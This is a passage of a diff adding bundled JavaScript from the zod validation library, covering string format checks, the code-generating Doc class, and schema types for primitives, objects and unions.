if (def.pattern) + (_a3 = inst._zod).check ?? (_a3.check = (payload) => { + def.pattern.lastIndex = 0; + if (def.pattern.test(payload.value)) + return; + payload.issues.push({ + origin: "string", + code: "invalid_format", + format: def.format, + input: payload.value, + ...def.pattern ? { pattern: def.pattern.toString() } : {}, + inst, + continue: !def.abort + }); + }); + else + (_b = inst._zod).check ?? (_b.check = () => { + }); +}); +var $ZodCheckRegex = /* @__PURE__ */ $constructor("$ZodCheckRegex", (inst, def) => { + $ZodCheckStringFormat.init(inst, def); + inst._zod.check = (payload) => { + def.pattern.lastIndex = 0; + if (def.pattern.test(payload.value)) + return; + payload.issues.push({ + origin: "string", + code: "invalid_format", + format: "regex", + input: payload.value, + pattern: def.pattern.toString(), + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckLowerCase = /* @__PURE__ */ $constructor("$ZodCheckLowerCase", (inst, def) => { + def.pattern ?? (def.pattern = lowercase); + $ZodCheckStringFormat.init(inst, def); +}); +var $ZodCheckUpperCase = /* @__PURE__ */ $constructor("$ZodCheckUpperCase", (inst, def) => { + def.pattern ?? (def.pattern = uppercase); + $ZodCheckStringFormat.init(inst, def); +}); +var $ZodCheckIncludes = /* @__PURE__ */ $constructor("$ZodCheckIncludes", (inst, def) => { + $ZodCheck.init(inst, def); + const escapedRegex = escapeRegex(def.includes); + const pattern = new RegExp(typeof def.position === "number" ? `^.{${def.position}}${escapedRegex}` : escapedRegex); + def.pattern = pattern; + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); + bag.patterns.add(pattern); + }); + inst._zod.check = (payload) => { + if (payload.value.includes(def.includes, def.position)) + return; + payload.issues.push({ + origin: "string", + code: "invalid_format", + format: "includes", + includes: def.includes, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckStartsWith = /* @__PURE__ */ $constructor("$ZodCheckStartsWith", (inst, def) => { + $ZodCheck.init(inst, def); + const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`); + def.pattern ?? (def.pattern = pattern); + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); + bag.patterns.add(pattern); + }); + inst._zod.check = (payload) => { + if (payload.value.startsWith(def.prefix)) + return; + payload.issues.push({ + origin: "string", + code: "invalid_format", + format: "starts_with", + prefix: def.prefix, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckEndsWith = /* @__PURE__ */ $constructor("$ZodCheckEndsWith", (inst, def) => { + $ZodCheck.init(inst, def); + const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`); + def.pattern ?? (def.pattern = pattern); + inst._zod.onattach.push((inst2) => { + const bag = inst2._zod.bag; + bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set()); + bag.patterns.add(pattern); + }); + inst._zod.check = (payload) => { + if (payload.value.endsWith(def.suffix)) + return; + payload.issues.push({ + origin: "string", + code: "invalid_format", + format: "ends_with", + suffix: def.suffix, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function handleCheckPropertyResult(result, payload, property) { + if (result.issues.length) { + payload.issues.push(...prefixIssues(property, result.issues)); + } +} +var $ZodCheckProperty = /* @__PURE__ */ $constructor("$ZodCheckProperty", (inst, def) => { + $ZodCheck.init(inst, def); + inst._zod.check = (payload) => { + const result = def.schema._zod.run({ + value: payload.value[def.property], + issues: [] + }, {}); + if (result instanceof Promise) { + return result.then((result2) => handleCheckPropertyResult(result2, payload, def.property)); + } + handleCheckPropertyResult(result, payload, def.property); + return; + }; +}); +var $ZodCheckMimeType = /* @__PURE__ */ $constructor("$ZodCheckMimeType", (inst, def) => { + $ZodCheck.init(inst, def); + const mimeSet = new Set(def.mime); + inst._zod.onattach.push((inst2) => { + inst2._zod.bag.mime = def.mime; + }); + inst._zod.check = (payload) => { + if (mimeSet.has(payload.value.type)) + return; + payload.issues.push({ + code: "invalid_value", + values: def.mime, + input: payload.value.type, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCheckOverwrite = /* @__PURE__ */ $constructor("$ZodCheckOverwrite", (inst, def) => { + $ZodCheck.init(inst, def); + inst._zod.check = (payload) => { + payload.value = def.tx(payload.value); + }; +}); + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js +var Doc = class { + constructor(args = []) { + this.content = []; + this.indent = 0; + if (this) + this.args = args; + } + indented(fn) { + this.indent += 1; + fn(this); + this.indent -= 1; + } + write(arg) { + if (typeof arg === "function") { + arg(this, { execution: "sync" }); + arg(this, { execution: "async" }); + return; + } + const content = arg; + const lines = content.split("\n").filter((x) => x); + const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length)); + const dedented = lines.map((x) => x.slice(minIndent)).map((x) => " ".repeat(this.indent * 2) + x); + for (const line2 of dedented) { + this.content.push(line2); + } + } + compile() { + const F = Function; + const args = this?.args; + const content = this?.content ?? [``]; + const lines = [...content.map((x) => ` ${x}`)]; + return new F(...args, lines.join("\n")); + } +}; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js +var version = { + major: 4, + minor: 4, + patch: 3 +}; + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js +var $ZodType = /* @__PURE__ */ $constructor("$ZodType", (inst, def) => { + var _a3; + inst ?? (inst = {}); + inst._zod.def = def; + inst._zod.bag = inst._zod.bag || {}; + inst._zod.version = version; + const checks = [...inst._zod.def.checks ?? []]; + if (inst._zod.traits.has("$ZodCheck")) { + checks.unshift(inst); + } + for (const ch of checks) { + for (const fn of ch._zod.onattach) { + fn(inst); + } + } + if (checks.length === 0) { + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred?.push(() => { + inst._zod.run = inst._zod.parse; + }); + } else { + const runChecks = (payload, checks2, ctx) => { + let isAborted = aborted(payload); + let asyncResult; + for (const ch of checks2) { + if (ch._zod.def.when) { + if (explicitlyAborted(payload)) + continue; + const shouldRun = ch._zod.def.when(payload); + if (!shouldRun) + continue; + } else if (isAborted) { + continue; + } + const currLen = payload.issues.length; + const _ = ch._zod.check(payload); + if (_ instanceof Promise && ctx?.async === false) { + throw new $ZodAsyncError(); + } + if (asyncResult || _ instanceof Promise) { + asyncResult = (asyncResult ?? Promise.resolve()).then(async () => { + await _; + const nextLen = payload.issues.length; + if (nextLen === currLen) + return; + if (!isAborted) + isAborted = aborted(payload, currLen); + }); + } else { + const nextLen = payload.issues.length; + if (nextLen === currLen) + continue; + if (!isAborted) + isAborted = aborted(payload, currLen); + } + } + if (asyncResult) { + return asyncResult.then(() => { + return payload; + }); + } + return payload; + }; + const handleCanaryResult = (canary, payload, ctx) => { + if (aborted(canary)) { + canary.aborted = true; + return canary; + } + const checkResult = runChecks(payload, checks, ctx); + if (checkResult instanceof Promise) { + if (ctx.async === false) + throw new $ZodAsyncError(); + return checkResult.then((checkResult2) => inst._zod.parse(checkResult2, ctx)); + } + return inst._zod.parse(checkResult, ctx); + }; + inst._zod.run = (payload, ctx) => { + if (ctx.skipChecks) { + return inst._zod.parse(payload, ctx); + } + if (ctx.direction === "backward") { + const canary = inst._zod.parse({ value: payload.value, issues: [] }, { ...ctx, skipChecks: true }); + if (canary instanceof Promise) { + return canary.then((canary2) => { + return handleCanaryResult(canary2, payload, ctx); + }); + } + return handleCanaryResult(canary, payload, ctx); + } + const result = inst._zod.parse(payload, ctx); + if (result instanceof Promise) { + if (ctx.async === false) + throw new $ZodAsyncError(); + return result.then((result2) => runChecks(result2, checks, ctx)); + } + return runChecks(result, checks, ctx); + }; + } + defineLazy(inst, "~standard", () => ({ + validate: (value) => { + try { + const r = safeParse(inst, value); + return r.success ? { value: r.data } : { issues: r.error?.issues }; + } catch (_) { + return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); + } + }, + vendor: "zod", + version: 1 + })); +}); +var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.parse = (payload, _) => { + if (def.coerce) + try { + payload.value = String(payload.value); + } catch (_2) { + } + if (typeof payload.value === "string") + return payload; + payload.issues.push({ + expected: "string", + code: "invalid_type", + input: payload.value, + inst + }); + return payload; + }; +}); +var $ZodStringFormat = /* @__PURE__ */ $constructor("$ZodStringFormat", (inst, def) => { + $ZodCheckStringFormat.init(inst, def); + $ZodString.init(inst, def); +}); +var $ZodGUID = /* @__PURE__ */ $constructor("$ZodGUID", (inst, def) => { + def.pattern ?? (def.pattern = guid); + $ZodStringFormat.init(inst, def); +}); +var $ZodUUID = /* @__PURE__ */ $constructor("$ZodUUID", (inst, def) => { + if (def.version) { + const versionMap = { + v1: 1, + v2: 2, + v3: 3, + v4: 4, + v5: 5, + v6: 6, + v7: 7, + v8: 8 + }; + const v = versionMap[def.version]; + if (v === void 0) + throw new Error(`Invalid UUID version: "${def.version}"`); + def.pattern ?? (def.pattern = uuid(v)); + } else + def.pattern ?? (def.pattern = uuid()); + $ZodStringFormat.init(inst, def); +}); +var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { + def.pattern ?? (def.pattern = email); + $ZodStringFormat.init(inst, def); +}); +var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + try { + const trimmed = payload.value.trim(); + if (!def.normalize && def.protocol?.source === httpProtocol.source) { + if (!/^https?:\/\//i.test(trimmed)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; + } + } + const url2 = new URL(trimmed); + if (def.hostname) { + def.hostname.lastIndex = 0; + if (!def.hostname.test(url2.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + } + if (def.protocol) { + def.protocol.lastIndex = 0; + if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + } + if (def.normalize) { + payload.value = url2.href; + } else { + payload.value = trimmed; + } + return; + } catch (_) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + } + }; +}); +var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { + def.pattern ?? (def.pattern = emoji()); + $ZodStringFormat.init(inst, def); +}); +var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { + def.pattern ?? (def.pattern = nanoid); + $ZodStringFormat.init(inst, def); +}); +var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { + def.pattern ?? (def.pattern = cuid); + $ZodStringFormat.init(inst, def); +}); +var $ZodCUID2 = /* @__PURE__ */ $constructor("$ZodCUID2", (inst, def) => { + def.pattern ?? (def.pattern = cuid2); + $ZodStringFormat.init(inst, def); +}); +var $ZodULID = /* @__PURE__ */ $constructor("$ZodULID", (inst, def) => { + def.pattern ?? (def.pattern = ulid); + $ZodStringFormat.init(inst, def); +}); +var $ZodXID = /* @__PURE__ */ $constructor("$ZodXID", (inst, def) => { + def.pattern ?? (def.pattern = xid); + $ZodStringFormat.init(inst, def); +}); +var $ZodKSUID = /* @__PURE__ */ $constructor("$ZodKSUID", (inst, def) => { + def.pattern ?? (def.pattern = ksuid); + $ZodStringFormat.init(inst, def); +}); +var $ZodISODateTime = /* @__PURE__ */ $constructor("$ZodISODateTime", (inst, def) => { + def.pattern ?? (def.pattern = datetime(def)); + $ZodStringFormat.init(inst, def); +}); +var $ZodISODate = /* @__PURE__ */ $constructor("$ZodISODate", (inst, def) => { + def.pattern ?? (def.pattern = date); + $ZodStringFormat.init(inst, def); +}); +var $ZodISOTime = /* @__PURE__ */ $constructor("$ZodISOTime", (inst, def) => { + def.pattern ?? (def.pattern = time(def)); + $ZodStringFormat.init(inst, def); +}); +var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def) => { + def.pattern ?? (def.pattern = duration); + $ZodStringFormat.init(inst, def); +}); +var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { + def.pattern ?? (def.pattern = ipv4); + $ZodStringFormat.init(inst, def); + inst._zod.bag.format = `ipv4`; +}); +var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { + def.pattern ?? (def.pattern = ipv6); + $ZodStringFormat.init(inst, def); + inst._zod.bag.format = `ipv6`; + inst._zod.check = (payload) => { + try { + new URL(`http://[${payload.value}]`); + } catch { + payload.issues.push({ + code: "invalid_format", + format: "ipv6", + input: payload.value, + inst, + continue: !def.abort + }); + } + }; +}); +var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { + def.pattern ?? (def.pattern = mac(def.delimiter)); + $ZodStringFormat.init(inst, def); + inst._zod.bag.format = `mac`; +}); +var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { + def.pattern ?? (def.pattern = cidrv4); + $ZodStringFormat.init(inst, def); +}); +var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { + def.pattern ?? (def.pattern = cidrv6); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + const parts = payload.value.split("/"); + try { + if (parts.length !== 2) + throw new Error(); + const [address, prefix] = parts; + if (!prefix) + throw new Error(); + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + throw new Error(); + if (prefixNum < 0 || prefixNum > 128) + throw new Error(); + new URL(`http://[${address}]`); + } catch { + payload.issues.push({ + code: "invalid_format", + format: "cidrv6", + input: payload.value, + inst, + continue: !def.abort + }); + } + }; +}); +function isValidBase64(data) { + if (data === "") + return true; + if (/\s/.test(data)) + return false; + if (data.length % 4 !== 0) + return false; + try { + atob(data); + return true; + } catch { + return false; + } +} +var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { + def.pattern ?? (def.pattern = base64); + $ZodStringFormat.init(inst, def); + inst._zod.bag.contentEncoding = "base64"; + inst._zod.check = (payload) => { + if (isValidBase64(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "base64", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isValidBase64URL(data) { + if (!base64url.test(data)) + return false; + const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); + const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); + return isValidBase64(padded); +} +var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { + def.pattern ?? (def.pattern = base64url); + $ZodStringFormat.init(inst, def); + inst._zod.bag.contentEncoding = "base64url"; + inst._zod.check = (payload) => { + if (isValidBase64URL(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "base64url", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { + def.pattern ?? (def.pattern = e164); + $ZodStringFormat.init(inst, def); +}); +function isValidJWT(token, algorithm = null) { + try { + const tokensParts = token.split("."); + if (tokensParts.length !== 3) + return false; + const [header] = tokensParts; + if (!header) + return false; + const parsedHeader = JSON.parse(atob(header)); + if ("typ" in parsedHeader && parsedHeader?.typ !== "JWT") + return false; + if (!parsedHeader.alg) + return false; + if (algorithm && (!("alg" in parsedHeader) || parsedHeader.alg !== algorithm)) + return false; + return true; + } catch { + return false; + } +} +var $ZodJWT = /* @__PURE__ */ $constructor("$ZodJWT", (inst, def) => { + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidJWT(payload.value, def.alg)) + return; + payload.issues.push({ + code: "invalid_format", + format: "jwt", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringFormat", (inst, def) => { + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (def.fn(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: def.format, + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.parse = (payload, _ctx) => { + if (def.coerce) + try { + payload.value = Number(payload.value); + } catch (_) { + } + const input = payload.value; + if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + return payload; + } + const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + payload.issues.push({ + expected: "number", + code: "invalid_type", + input, + inst, + ...received ? { received } : {} + }); + return payload; + }; +}); +var $ZodNumberFormat = /* @__PURE__ */ $constructor("$ZodNumberFormat", (inst, def) => { + $ZodCheckNumberFormat.init(inst, def); + $ZodNumber.init(inst, def); +}); +var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.pattern = boolean; + inst._zod.parse = (payload, _ctx) => { + if (def.coerce) + try { + payload.value = Boolean(payload.value); + } catch (_) { + } + const input = payload.value; + if (typeof input === "boolean") + return payload; + payload.issues.push({ + expected: "boolean", + code: "invalid_type", + input, + inst + }); + return payload; + }; +}); +var $ZodBigInt = /* @__PURE__ */ $constructor("$ZodBigInt", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.pattern = bigint; + inst._zod.parse = (payload, _ctx) => { + if (def.coerce) + try { + payload.value = BigInt(payload.value); + } catch (_) { + } + if (typeof payload.value === "bigint") + return payload; + payload.issues.push({ + expected: "bigint", + code: "invalid_type", + input: payload.value, + inst + }); + return payload; + }; +}); +var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, def) => { + $ZodCheckBigIntFormat.init(inst, def); + $ZodBigInt.init(inst, def); +}); +var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (typeof input === "symbol") + return payload; + payload.issues.push({ + expected: "symbol", + code: "invalid_type", + input, + inst + }); + return payload; + }; +}); +var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.pattern = _undefined; + inst._zod.values = /* @__PURE__ */ new Set([void 0]); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (typeof input === "undefined") + return payload; + payload.issues.push({ + expected: "undefined", + code: "invalid_type", + input, + inst + }); + return payload; + }; +}); +var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.pattern = _null; + inst._zod.values = /* @__PURE__ */ new Set([null]); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (input === null) + return payload; + payload.issues.push({ + expected: "null", + code: "invalid_type", + input, + inst + }); + return payload; + }; +}); +var $ZodAny = /* @__PURE__ */ $constructor("$ZodAny", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload) => payload; +}); +var $ZodUnknown = /* @__PURE__ */ $constructor("$ZodUnknown", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload) => payload; +}); +var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, _ctx) => { + payload.issues.push({ + expected: "never", + code: "invalid_type", + input: payload.value, + inst + }); + return payload; + }; +}); +var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, _ctx) => { + const input = payload.value; + if (typeof input === "undefined") + return payload; + payload.issues.push({ + expected: "void", + code: "invalid_type", + input, + inst + }); + return payload; + }; +}); +var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, _ctx) => { + if (def.coerce) { + try { + payload.value = new Date(payload.value); + } catch (_err) { + } + } + const input = payload.value; + const isDate = input instanceof Date; + const isValidDate = isDate && !Number.isNaN(input.getTime()); + if (isValidDate) + return payload; + payload.issues.push({ + expected: "date", + code: "invalid_type", + input, + ...isDate ? { received: "Invalid Date" } : {}, + inst + }); + return payload; + }; +}); +function handleArrayResult(result, final, index2) { + if (result.issues.length) { + final.issues.push(...prefixIssues(index2, result.issues)); + } + final.value[index2] = result.value; +} +var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { + $ZodType.init(inst, def); + inst._zod.parse = (payload, ctx) => { + const input = payload.value; + if (!Array.isArray(input)) { + payload.issues.push({ + expected: "array", + code: "invalid_type", + input, + inst + }); + return payload; + } + payload.value = Array(input.length); + const proms = []; + for (let i = 0; i < input.length; i++) { + const item = input[i]; + const result = def.element._zod.run({ + value: item, + issues: [] + }, ctx); + if (result instanceof Promise) { + proms.push(result.then((result2) => handleArrayResult(result2, payload, i))); + } else { + handleArrayResult(result, payload, i); + } + } + if (proms.length) { + return Promise.all(proms).then(() => payload); + } + return payload; + }; +}); +function handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) { + const isPresent = key in input; + if (result.issues.length) { + if (isOptionalIn && isOptionalOut && !isPresent) { + return; + } + final.issues.push(...prefixIssues(key, result.issues)); + } + if (!isPresent && !isOptionalIn) { + if (!result.issues.length) { + final.issues.push({ + code: "invalid_type", + expected: "nonoptional", + input: void 0, + path: [key] + }); + } + return; + } + if (result.value === void 0) { + if (isPresent) { + final.value[key] = void 0; + } + } else { + final.value[key] = result.value; + } +} +function normalizeDef(def) { + const keys = Object.keys(def.shape); + for (const k of keys) { + if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { + throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + } + } + const okeys = optionalKeys(def.shape); + return { + ...def, + keys, + keySet: new Set(keys), + numKeys: keys.length, + optionalKeys: new Set(okeys) + }; +} +function handleCatchall(proms, input, payload, ctx, def, inst) { + const unrecognized = []; + const keySet = def.keySet; + const _catchall = def.catchall._zod; + const t = _catchall.def.type; + const isOptionalIn = _catchall.optin === "optional"; + const isOptionalOut = _catchall.optout === "optional"; + for (const key in input) { + if (key === "__proto__") + continue; + if (keySet.has(key)) + continue; + if (t === "never") { + unrecognized.push(key); + continue; + } + const r = _catchall.run({ value: input[key], issues: [] }, ctx); + if (r instanceof Promise) { + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + } else { + handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + } + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input, + inst + }); + } + if (!proms.length) + return payload; + return Promise.all(proms).then(() => { + return payload; + }); +} +var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { + $ZodType.init(inst, def); + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + if (!desc2?.get) { + const sh = def.shape; + Object.defineProperty(def, "shape", { + get: () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { + value: newSh + }); + return newSh; + } + }); + } + const _normalized = cached(() => normalizeDef(def)); + defineLazy(inst._zod, "propValues", () => { + const shape = def.shape; + const propValues = {}; + for (const key in shape) { + const field = shape[key]._zod; + if (field.values) { + propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + for (const v of field.values) + propValues[key].add(v); + } + } + return propValues; + }); + const isObject3 = isObject2; + const catchall = def.catchall; + let value; + inst._zod.parse = (payload, ctx) => { + value ?? (value = _normalized.value); + const input = payload.value; + if (!isObject3(input)) { + payload.issues.push({ + expected: "object", + code: "invalid_type", + input, + inst + }); + return payload; + } + payload.value = {}; + const proms = []; + const shape = value.shape; + for (const key of value.keys) { + const el = shape[key]; + const isOptionalIn = el._zod.optin === "optional"; + const isOptionalOut = el._zod.optout === "optional"; + const r = el._zod.run({ value: input[key], issues: [] }, ctx); + if (r instanceof Promise) { + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + } else { + handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + } + } + if (!catchall) { + return proms.length ? Promise.all(proms).then(() => payload) : payload; + } + return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + }; +}); +var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { + $ZodObject.init(inst, def); + const superParse = inst._zod.parse; + const _normalized = cached(() => normalizeDef(def)); + const generateFastpass = (shape) => { + const doc = new Doc(["shape", "payload", "ctx"]); + const normalized = _normalized.value; + const parseStr = (key) => { + const k = esc(key); + return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + }; + doc.write(`const input = payload.value;`); + const ids = /* @__PURE__ */ Object.create(null); + let counter = 0; + for (const key of normalized.keys) { + ids[key] = `key_${counter++}`; + } + doc.write(`const newResult = {};`); + for (const key of normalized.keys) { + const id = ids[key]; + const k = esc(key); + const schema = shape[key]; + const isOptionalIn = schema?._zod?.optin === "optional"; + const isOptionalOut = schema?._zod?.optout === "optional"; + doc.write(`const ${id} = ${parseStr(key)};`); + if (isOptionalIn && isOptionalOut) { + doc.write(` + if (${id}.issues.length) { + if (${k} in input) { + payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ + ...iss, + path: iss.path ? [${k}, ...iss.path] : [${k}] + }))); + } + } + + if (${id}.value === undefined) { + if (${k} in input) { + newResult[${k}] = undefined; + } + } else { + newResult[${k}] = ${id}.value; + } + + `); + } else if (!isOptionalIn) { + doc.write(` + const ${id}_present = ${k} in input; + if (${id}.issues.length) { + payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ + ...iss, + path: iss.path ? [${k}, ...iss.path] : [${k}] + }))); + } + if (!${id}_present && !${id}.issues.length) { + payload.issues.push({ + code: "invalid_type", + expected: "nonoptional", + input: undefined, + path: [${k}] + }); + } + + if (${id}_present) { + if (${id}.value === undefined) { + newResult[${k}] = undefined; + } else { + newResult[${k}] = ${id}.value; + } + } + + `); + } else { + doc.write(` + if (${id}.issues.length) { + payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ + ...iss, + path: iss.path ? [${k}, ...iss.path] : [${k}] + }))); + } + + if (${id}.value === undefined) { + if (${k} in input) { + newResult[${k}] = undefined; + } + } else { + newResult[${k}] = ${id}.value; + } + + `); + } + } + doc.write(`payload.value = newResult;`); + doc.write(`return payload;`); + const fn = doc.compile(); + return (payload, ctx) => fn(shape, payload, ctx); + }; + let fastpass; + const isObject3 = isObject2; + const jit = !globalConfig.jitless; + const allowsEval2 = allowsEval; + const fastEnabled = jit && allowsEval2.value; + const catchall = def.catchall; + let value; + inst._zod.parse = (payload, ctx) => { + value ?? (value = _normalized.value); + const input = payload.value; + if (!isObject3(input)) { + payload.issues.push({ + expected: "object", + code: "invalid_type", + input, + inst + }); + return payload; + } + if (jit && fastEnabled && ctx?.async === false && ctx.jitless !== true) { + if (!fastpass) + fastpass = generateFastpass(def.shape); + payload = fastpass(payload, ctx); + if (!catchall) + return payload; + return handleCatchall([], input, payload, ctx, value, inst); + } + return superParse(payload, ctx); + }; +}); +function handleUnionResults(results, final, inst, ctx) { + for (const result of results) { + if (result.issues.length === 0) { + final.value = result.value; + return final; + } + } + const nonaborted = results.filter((r) => !aborted(r)); + if (nonaborted.length === 1) { + final.value = nonaborted[0].value; + return nonaborted[0]; + } + final.issues.push({ + code: "invalid_union", + input: final.value, + inst, + errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) + }); + return final; +} +var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { + $ZodType.init(inst, def); + defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); + defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazy(inst._zod, "values", () => { + if (def.options.every((o) => o._zod.values)) { + return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + } + return void 0; + }); + defineLazy(inst._zod, "pattern", () => { + if (def.options.every((o) => o._zod.pattern)) { + const patterns = def.options.map((o) => o._zod.pattern); + return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); + } + return void 0; + }); + const first = def.options.length === 1 ? def.options[0]._zod.run : null; + inst._zod.parse = (payload, ctx) => { + if (first) { + return first(payload, ctx); + } + let async = false; + const results = []; + for (const option of def.options) { + const result = option._zod.run({ + value: payload.value, + issues: [] + }, ctx); + if (result instanceof Promise) { + results.push(result); + async = true; + } else { + if (result.issues.length === 0) + return result; + results.push(result); + } + } + if (!async) + return handleUnionResults(results, payload, inst, ctx); + return Promise.all(results).then((results2) => { + return handleUnionResults(results2, payload, inst, ctx); + }); + }; +}); +function handleExclusiveUnionResults(results, final, inst, ctx) { + const successes = results.filter((r) => r.issues.length === 0); + if (successes.length === 1) { + final.value = successes[0].value; + return final; + } + if (successes.length === 0) { + final.issues.push({ + code: "invalid_union", + input: final.value, + inst, + errors: results.map((result) => result.issues.map((iss) => finalizeIssue(iss, ctx, config()))) + }); + } else { + final.issues.push({ + code: "invalid_union", + input: final.value, + inst, + errors: [], + inclusive: false + }); + } + return final; +} +var $ZodXor = /* @__PURE__ */ 